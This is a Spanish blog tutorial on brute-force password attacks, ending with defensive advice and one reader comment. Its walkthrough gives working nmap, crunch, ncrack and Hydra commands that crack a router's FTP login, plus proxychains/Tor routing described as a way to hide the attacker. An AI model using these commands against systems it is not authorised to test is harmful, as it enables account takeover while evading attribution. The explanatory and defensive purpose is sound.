Hoy vengo a explicar con varios ejemplos prácticos en que consisten los ataques de fuerza bruta, cómo podemos prevenirlos y la importancia que tiene utilizar siempre contraseñas robustas. Los ataques de fuerza bruta es un tema muy extenso por lo que trataré de ampliar algunos conceptos en otras entradas. Normalmente cuando explico a alguien que algo suyo es susceptible de un ataque de fuerza bruta no suele entender de que le hablo (como en tantas ocasiones) y en realidad es algo de lo que tomar conciencia nos atañe a todos. Un ataque de fuerza bruta no es más que recuperar una clave o contraseña probando todas las combinaciones posibles. Por ejemplo, nuestra clave del banco son 4 dígitos. Pues un ataque de fuerza bruta consistiría en probar desde el 0000 al 9999 hasta dar con la clave correcta. Evidentemente nuestro banco tiene mecanismos de seguridad para evitar este tipo de ataques, por ejemplo bloquear la cuenta al tercer intento fallido. Pero cuando no hay mecanismos de seguridad, ancha es Castilla.
Recuerdo a mis amigos con unas cuantas cervezas de más incapaces de resolver un puzzle del videojuego Silent Hill en el que tenías que obtener una clave de 4 dígitos para continuar el juego. Ya les dije que podían haberlo buscado en Internet pero a esas horas parece que no debían de pensar con demasiada fluidez. Fueron probando todas las combinaciones hasta dar con la clave (les costó unas 3 horas). Aquello fue un ataque de fuerza bruta en toda regla y así se los comenté pero (como en tantas ocasiones) no entendían de que les hablaba.
De esta anécdota podemos extraer varios conceptos de los ataques de fuerza bruta. Por un lado el rango de combinaciones posible (los cuatro dígitos) se le denomina «Charset». A mayor rango y compeljidad, mayor número de combinaciones y por lo tanto mayor tiempo para conseguir la clave. La complejidad del charset puede darse por el tamaño: cuatro dígitos, cinco dígitos, etc. y por su composición: dígitos, letras minúsculas, letras mayúsculas, símbolos o todas las combinaciones anteriores posibles. A alguno ya le empezará a sonar por qué cuando creamos una contraseña en algún sitio nos piden que cumpla ciertos requisitos. Por ejemplo que sea mayor a 6 caracteres, contenga una letra, un número y un símbolo. A la hora de realizar el ataque también influye el tiempo que cuesta comprobar cada clave. En el caso de mis amigos lo hicieron manualmente por lo tanto 3 horas. Si se hubieran creado una macro o un programa en 1 minuto la hubieran tenido (ya nadie les quita lo bailado aquella noche). Esto último es tan importante como la complejidad del charset. Por ejemplo, si lo extrapolamos a la criptografía básica crear una clave simétrica para comprobarla cuesta menor tiempo de computación que una clave asimétrica. Así que las claves simétricas son más vulnerables a ataques de fuerza bruta que las claves asimétricas. Por ello unas se utilizan para unos fines y las otras para otros fines distintos (como he explicado antes, esto puede dar para muchas entradas). Si el videojuego hubiera cambiado la clave cada 2 horas, mis amigos no podrían haber obtenido manualmente la clave nunca. Por eso también nos recuerdan muchas veces la importancia de cambiar nuestras contraseñas cada cierto tiempo.
Cuando los charset son complejos entran en juego los diccionarios. Los diccionarios contienen las claves a comprobar y se clasifican en muchos tipos. Si vamos a atacar las credenciales de un sitio web podemos utilizar un diccionario con las contraseñas más usadas en sitios web (no os creeríais la de veces que se acierta). Existen diccionarios con las contraseñas más utilizadas divididos por idiomas (inglés, español, ruso, etc), temáticas (títulos de películas, nombres de cantantes, etc) o personalizados. Imagina que estas en una red local donde los nombres de los equipos corresponden con nombres de planetas. Seguramente el administrador sea un aficionado de la astronomía. En este caso se podría utilizar un diccionario de astronomía para buscar posibles contraseñas. O que los nombres de los servidores tienen nombres de personajes de la película del Señor de los anillos, pues el diccionario a utilizar debería de corresponder con palabras de estas películas o libros. Las claves WIFI con cifrados más robustos como WPA se extraen realizando ataques de fuerza bruta usando diccionarios con contraseñas precalculadas (hashes) también conocidas como tablas Rainbow (para otra entrada). Los diccionarios los podemos descargar de Internet o crearlos nosotros mismos. Hay multitud de herramientas para generar diccionarios. Hay algunos que incluso nos piden datos personales de la persona a quien queremos adivinar la contraseña como su fecha de nacimiento, ciudad, nombre de su mascota, etc. y ella sola nos genera las posibles contraseñas que ha podido pensar la víctima previamente.
Ahora que conocemos los conceptos básicos de los ataques de fuerza bruta vamos a llevarlo a la práctica. Hay infinidad de sitios y servicios que podemos hacer ataques de fuerza bruta. Por poner un ejemplo sencillo vamos atacar el router de nuestra casa.
Nuestro router por lo general se encuentra en la dirección IP 192.168.1.1 y nos ofrece varios servicios. El que más os sonará es el servicio Web por el puerto 80 que nos permite configurarlo. Aunque si lo escaneamos adecuadamente veremos que tiene más servicios.
Utilizo el escaner nmap con el parámetro -sV (detección de versiones).
root@kali:~# nmap -sV 192.168.1.1 Starting Nmap 6.47 ( http://nmap.org ) at 2015-01-17 16:54 CET Nmap scan report for 192.168.1.1 Host is up (0.022s latency). Not shown: 994 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp 22/tcp open ssh Dropbear sshd 0.51 (protocol 2.0) 23/tcp open telnet? 80/tcp open http mini_httpd 1.19 19dec2003 443/tcp open ssl/http mini_httpd 1.19 19dec2003 8000/tcp open http mini_httpd 1.19 19dec2003
Vemos los servicios web (HTTP/S) en los puertos 80, 443 y 8000 que hemos comentado antes. Y también los servicios FTP (transferencia de ficheros), SSH (intérprete de órdenes segura), Telnet (podemos llamar intérprete de órdenes no seguro a diferencia de SSH) en los puertos 21, 22 y 23. Telnet es un protocolo de red obsoleto ya que transmite la información en texto plano (sin cifrar) por lo que es vulnerable a ataques de hombre en el medio. Vamos a atacar el servicio FTP para este ejemplo práctico.
Como ejemplo para crear un diccionario podemos utilizar la herramienta Crunch. Vamos a suponer que la contraseña que queremos buscar se compone de 4 dígitos.
Los parámetros de crunch son:
- 4 del tamaño mínimo del charset.
- 4 del tamaño máximo del charset.
- -f charset.lst numeric es un fichero donde indicamos el tipo de charset. Más abajo indico el contenido de charset.lst.
- -o Num4.lst es el nombre del fichero de salida.
root@kali:~/Diccionarios# crunch 4 4 -f charset.lst numeric -o Num4.lst Crunch will now generate the following amount of data: 50000 bytes 0 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 10000 crunch: 100% completed generating output
Vemos la salida del fichero generado por crunch:
0000 0001 0002 0003 0004 0005 0006 0007 0008 0009 0010 0011 0012 0013 0014 0015 0016 0017 0018 0019 0020 0021 0022 0023 0024 0025 0026 0027 0028 0029 0030
El contenido del fichero charset.lst.
# charset configuration file for winrtgen v1.2 by Massimiliano Montoro (mao@oxid.it) # compatible with rainbowcrack 1.1 and later by Zhu Shuanglei <shuanglei@hotmail.com> # Original modified by Ramius Kahn to allow for German and Danish special characters <Ramius@RainbowTables.net> numeric = [0123456789] numeric-space = [0123456789 ] ualpha = [ABCDEFGHIJKLMNOPQRSTUVWXYZ] ualpha-space = [ABCDEFGHIJKLMNOPQRSTUVWXYZ ] ualpha-numeric = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789] ualpha-numeric-space = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ] ualpha-numeric-symbol14 = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=] ualpha-numeric-symbol14-space = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+= ] ualpha-numeric-all = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/] ualpha-numeric-all-space = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ] lalpha = [abcdefghijklmnopqrstuvwxyz] lalpha-space = [abcdefghijklmnopqrstuvwxyz ] lalpha-numeric = [abcdefghijklmnopqrstuvwxyz0123456789] lalpha-numeric-space = [abcdefghijklmnopqrstuvwxyz0123456789 ] lalpha-numeric-symbol14 = [abcdefghijklmnopqrstuvwxyzäöüß0123456789!@#$%^&*()-_+="] lalpha-numeric-symbol14-space = [abcdefghijklmnopqrstuvwxyzäöüß0123456789!@#$%^&*()-_+=" ] lalpha-numeric-all = [abcdefghijklmnopqrstuvwxyzäöüß0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/] lalpha-numeric-all-space = [abcdefghijklmnopqrstuvwxyzäöüß0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ] mixalpha = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ] mixalpha-space = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ ] mixalpha-numeric = [abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789] mixalpha-numeric-space = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789 ] mixalpha-numeric-symbol14 = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789!@#$%^&*()-_+=] mixalpha-numeric-symbol14-space = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789!@#$%^&*()-_+= ] mixalpha-numeric-all = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/] mixalpha-numeric-all-space = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/
Las tres herramientas mas famosas para realizar ataques de fuerza bruta son Hydra, Medusa y Ncrack. También existe Brutus para Windows. Cada una de ellas tiene un rendimiento diferente según el servicio atacado y unos cuantos años a sus espaldas. En este enlace se puede consultar una comparativa entre las tres herramientas por excelencia.
Para este ejemplo voy a usar Ncrack. Los parámetros de Ncrack son:
- -u 1234 es el usuario del router
- -P /root/Diccionarios/Diccionario.txt es el diccionario con las contraseñas a probar.
- -T1 es la velocidad a la que debe de realizar las comprobaciones.
- 192.168.1.1 es la dirección IP del router.
- -p 21 es el puerto de FTP.
root@kali:~# ncrack -u 1234 -P /root/Diccionarios/Diccionario.txt -T1 192.168.1.1 -p 21 Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2015-01-17 18:59 CET Verbosity Increased to 1. Verbosity Increased to 2. Verbosity Increased to 3. Verbosity Increased to 4. Verbosity Increased to 5. Verbosity Increased to 6. Verbosity Increased to 7. Discovered credentials on ftp://192.168.1.1:21 '1234' 'pass123.' Verbosity Increased to 8. Verbosity Increased to 9. ftp://192.168.1.1:21 finished. Discovered credentials for ftp on 192.168.1.1 21/tcp: 192.168.1.1 21/tcp ftp: '1234' 'pass123.' Ncrack done: 1 service scanned in 37.51 seconds. Probes sent: 5 | timed-out: 0 | prematurely-closed: 0 Ncrack finished.
He ido incrementando el parámetro «Verbosity» durante la ejecución para ver los detalles de lo que iba haciendo el programa. Observamos que descubre la clave «pass123.» para el usuario «1234».
Comprobamos en el servicio FTP.
root@kali:~# ftp 192.168.1.1 Connected to 192.168.1.1. 220 Welcome to TBS FTP Server. Name (192.168.1.1:root): 1234 331 Password please. Password: 230 User logged in. Remote system type is Command. ftp>
Algunas ventajas de estas herramientas son el poder guardar la sesión. Nos permite por ejemplo, probar 500 claves, cerrar la aplicación y continuar desde la 501 al volverla a abrir. Otra ventaja importante es la opción multihilo que permite probar varias claves a la vez, esto acorta mucho el tiempo. Aunque si nos excedemos podemos perder precisión porque el equipo remoto puede que no sea capaz de devolvernos la respuesta correctamente. Y consultando el manual de cada una de ellas podéis ver la infinidad de parámetros que se pueden utilizar para optimizar el ataque.
En cuanto a métodos para que no se pueda identificar al atacante podemos utilizar dos principalmente. El primero es utilizar un servidor proxy a través del parámetro de la herramienta y el segundo es utilizar un servidor proxy a través de otra herramienta como proxychains conectándonos a la red Tor (otra entrada). El servidor proxy hace de intermediario entre el atacante y la víctima.
Por ejemplo la ejecución a través de un proxy en Hydra es así:
root@kali:~# hydra -t 1 -l 1234 -P /root/Diccionarios/Num4.lst -vV 192.168.1.1 ftp HYDRA_PROXY="127.0.0.1:8080"
Y a través de Proxychains:
root@kali:~# proxychains hydra -t 1 -l 1234 -P /root/Diccionarios/Num4.lst -vV 192.168.1.1 ftp
Los métodos para evitar ataques de fuerza bruta son numerosos y ya conoceréis muchos de ellos.
Están los famosos captcha que obligan a pasar una prueba para diferenciar al usuario de un programa.
El bloqueo por número de intentos. Aquí hay que tener especial cuidado de cómo se hace el bloqueo. Si bloqueamos la cuenta desde cualquier dispositivo dejamos al usuario sin servicio por lo que incurrimos en una denegación de servicio. En cambio si bloqueamos la cuenta desde el dispositivo que está atacando la cuenta, puede evadirse utilizando cada n intentos un proxy distinto. Durante la carrera escribí en .NET mi propio programa de fuerza bruta el cual evadía este método de bloqueo cambiando de proxy cada tres intentos fallidos. También se realizan bloqueos temporales, por ejemplo cuando dibujamos el patrón de desbloqueo en el teléfono incorrectamente.
Además tenemos la autenticación en varios factores de la que escribiré una entrada. Si nos adivinan la contraseña necesitan que nos acierten algo más. Por ejemplo en nuestro banco solemos tener además del número PIN una tarjeta de coordenadas para confirmar las compras. Así si nos averiguan el número PIN necesitan algo más para poder robarnos. Es una capa más de seguridad. Los métodos de autenticación se dividen en algo que sé (una clave o contraseña), algo que tengo (la tarjeta de coordenadas o un llavero USB cifrado) o algo que soy (la huella dactilar o la córnea del ojo).
En Internet podemos activar la autenticación en dos factores en muchos lugares (Twitter, Facebook, Linkedin, WordPress, etc.). Google nos provee la herramienta para nuestro teléfono móvil Google Authenticator la cual genera códigos de 6 dígitos que cambian cada 60 segundos.
A estas capas de seguridad surgió recientemente de la filial de seguridad de Telefónica (Eleven Paths) la herramienta Latch que permite poner un «cerrojo virtual» a nuestras cuentas y de la que hablaré en otra entrada.
Hasta ahora hemos visto que una contraseña robusta y cambiarla periódicamente es la primera linea de defensa para que no nos levanten la contraseña a las primeras de cambio. No sólo en los servicios vistos sino en muchos otros lugares. Pero para algunas personas les resulta muy complicado gestionar contraseñas robustas, distintas para cada servicio y además cambiarlas periódicamente. La solución a esta problemática reside en los gestores de contraseñas. En mi caso utilizo el gestor de contraseñas KeePass 2. Este gestor de contraseñas es básicamente una base de datos de contraseñas. Obviamente tiene sus medidas de seguridad para no exponer todas nuestras credenciales de un sólo tiro. KeePass 2 tiene autenticación en dos factores. Se necesita una clave para entrar (algo que sé) y un fichero cifrado (algo que tengo) para poder abrirla. KeePass tiene un generador de contraseñas robustas y una enorme variedad de plugins. En mi caso comparto la base de datos de KeePass a través de Dropbox y así puedo acceder a ella desde cualquier dispositivo. KeePass existe para todas las plataformas (Windows, Mac, Linux y dispositivos móviles).
En próximas entradas desarrollaré algunos de los conceptos vistos.
Amelia
Excelente publicación! Ahora ya sé lo que es un ataque por fuerza bruta. En mis conversaciones futuras podré defenderme con el término.